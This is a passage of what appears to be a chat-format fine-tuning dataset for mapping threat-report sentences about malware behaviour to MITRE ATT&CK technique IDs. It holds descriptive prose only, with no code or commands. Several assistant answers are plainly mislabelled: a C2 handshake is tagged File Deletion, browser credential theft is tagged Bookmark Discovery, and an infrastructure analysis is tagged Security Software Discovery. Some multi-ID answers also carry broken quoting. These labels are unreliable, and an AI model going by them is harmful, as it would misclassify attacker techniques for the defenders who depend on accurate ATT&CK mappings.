                "content": "We found a Coinminer bundled with the legitimate installer of video conferencing app Zoom, luring users who want to install the software but end up unwittingly downloading a malicious file. The compromised files are not from Zoom’s official download center, and are assumed to come from fraudulent websites. We have been working with Zoom to ensure that they are able to communicate this to their users appropriately."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware', 'T1554 - Compromise Host Software Binary', 'T1195.002 - Compromise Software Supply Chain', 'T1574.005 - Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sends emails to victims with a malicious executable disguised as a document or spreadsheet displaying a fake icon."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hive whose name is the same as the scheduled task (ex. This registry key is empty upon the first execution of the payload. This exception invokes the exception handler containing the HTTP communication code, allowing it to run. If either attempt is successful, the C2 server will respond with the session ID and a pre-shared key in cleartext, which it will save to the previously mentioned registry key. The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie. If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling. To obtain the session ID and pre-shared key, the payload will issue a query to resolve the following domain: mail"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has injected a DLL backdoor into dllhost.exe and svchost.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT has encrypted TCP communications to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can scan the network for open ports and vulnerable instances of RDP and SMB protocols."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon can attempt to gain administrative privileges using token impersonation."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRatReporter encrypted gathered information with a combination of shifting and XOR using a static key."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The companies believe that the actors acquired legitimate credentials prior to the cyber-attack to facilitate remote access"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts', 'T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fgdump can dump Windows password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet can brute force a local admin password, then use it to facilitate lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Molerats has used forged Microsoft code-signing certificates on malware."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PS1 is distributed as a set of encrypted files and scripts."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest encrypts a set of file extensions on a host, deletes the original files, and provides a ransom note with no contact information."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "version of  adds a registry key to HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. MSGet typically downloads encoded binaries from hard-coded URLs. DGet — This simple downloader (see Figure 4) is similar to the wget web server retrieval tool. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Mimikatz credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The \"LSADUMP::ChangeNTLM\" and \"LSADUMP::SetNTLM\" modules can also manipulate the password hash of an account without knowing the clear text value."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Matryoshka is capable of performing screen captures."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor can copy cmd.exe into the system temp folder."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Motherboard Check The Trojan will perform the following WMI query:   Select * from Win32_BaseBoard   The Trojan will check the Manufacturer and Product fields in the results for the strings VMware, Virtual, VBox, VM or Oracle"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While operating in the victim’s internal network, the threat actor accessed sensitive information specific to the products and services that the victim organization provided. This information included items such as product/service architecture and design documents, vulnerabilities and step-by-step instructions to perform various tasks. Additionally, the threat actor viewed pages related to internal business operations such as development schedules and points of contact"
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It writes a file using two data structures: one associated with the file and other used for reading data from the C&amp;C"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has exfiltrated data over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackConfig has the ability to use hidden columns in Excel spreadsheets to store executable files or commands for VBA macros."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros."
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KEYMARBLE gathers the MAC address of the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Neoichor can download additional files onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol will terminate services using the Service Control Manager (SCM) API."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ISMInjector hollows out a newly created process RegASM.exe and injects its payload into the hollowed process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As seen below, the relational analysis proved to be quite fruitful:  Figure 1 Overview of relationships We rapidly discovered a different set of tools communicating to the exact same C2 servers as those two Word documents, in addition to other tools communicating to other subdomain variations of chrome-up[.]date as seen in the following graphic:  Figure 2 Command and control overlaps From there, we were able to map out a large infrastructure separating out into four categories of tools: downloaders, droppers, loaders, and payloads"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "38, the credentials are retrieved from the logins.json file and the browser history is retrieved from the places.sqlite database"
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used reg query “HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default” on a victim to query the Registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to download files from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali can capture login credentials from open browsers including Firefox, Chrome, Internet Explorer, and Edge."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "this is a late-stage kill chain attack that allows a threat actor with admin (domain or enterprise admin) credentials to leverage the replication mechanism in AD to register a rogue domain controller in order to inject backdoor changes to an AD domain. With that rogue DC, the attacker can manipulate AD data, including objects, and schemas."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to identify any anti-virus installed on the infected system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can obtain a list of smart card readers attached to the victim."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NotPetya searches for files ending with dozens of different file extensions prior to encryption."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To obtain the session ID and pre-shared key, the payload will issue a query to resolve the following domain: mail. random number between 100000 and 999999&gt;.&lt;c2 name&gt; This request notifies the C2 server that the payload is about to send system specific data as part of the initial handshake"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak has used a VBScript named \"ggldr\" that uses Google Apps Script, Sheets, and Forms services for C2."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "iKitten will zip up the /Library/Keychains directory before exfiltrating it."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once settles on victim’s information systems, Egregor communicates with its Command and Control servers via HTTPS protocol so as to drop scripts or dynamic link libraries on infected hosts. You can find the list of C2 identified during investigations in section “IP Addresses"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxxZ can download and execute additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RAT is able to delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is likely to make it appear as if nothing is amiss to the user (as high CPU usage is a red flag of cryptocurrency-mining malware"
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee launches a DLL file that gets executed as a service using svchost.exe"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used \"mshta.exe\" to execute malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a tool that can copy files to remote machines."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the MAC address of the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type has been injected directly into a running process, including `explorer.exe`."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collected the victim computer name, OS version, and architecture type and sent the information to its C2 server.  also enumerated all available drives on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has infected victims using watering holes."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell can gain remote access and execution on target web servers."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "build_downer has the ability to send system volume information to C2."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL can delete files and directories."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The observed JSS Loader infection led to the download and execution of a setup VBScript from https[:]//petshopbook[.]com"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used various types of scripting to perform operations, including batch scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to create a remote shell and execute specified commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ProLock can remove files containing its payload after they are executed."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors ran encoded commands from the command line."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SEKURLSA::Pth module can impersonate a user, with only a password hash, to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has acquired servers to host their malicious tools."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All the strings used by the malware are encrypted and are decrypted by Rijndael symmetric encryption algorithm in the “&lt;Module&gt;.\\u200E” function"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the dwell time value for the active mode has been set, but the package has not been received, the dwell time value is incremented by the dwell time value for the active period"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can call regsvr32.exe for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has obfuscated .NET executables by inserting junk code."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete's collected data is encrypted with AES before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper can determine the OS version, bitness, and enumerate physical drives on a targeted host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Alongside evidence of compromise of the organization itself, Symantec also found a copy of one of the company’s own files, relating to its messaging software, on a staging server used by Chafer. The file was in a directory alongside a number of hacking tools used by the attackers"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can list running services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and FrameworkPOS."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy uses SSL and AES ECB for encrypting C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil)."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak encrypts the message body of HTTP traffic with RC2 (in CBC mode). Carbanak also uses XOR with random keys for its communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
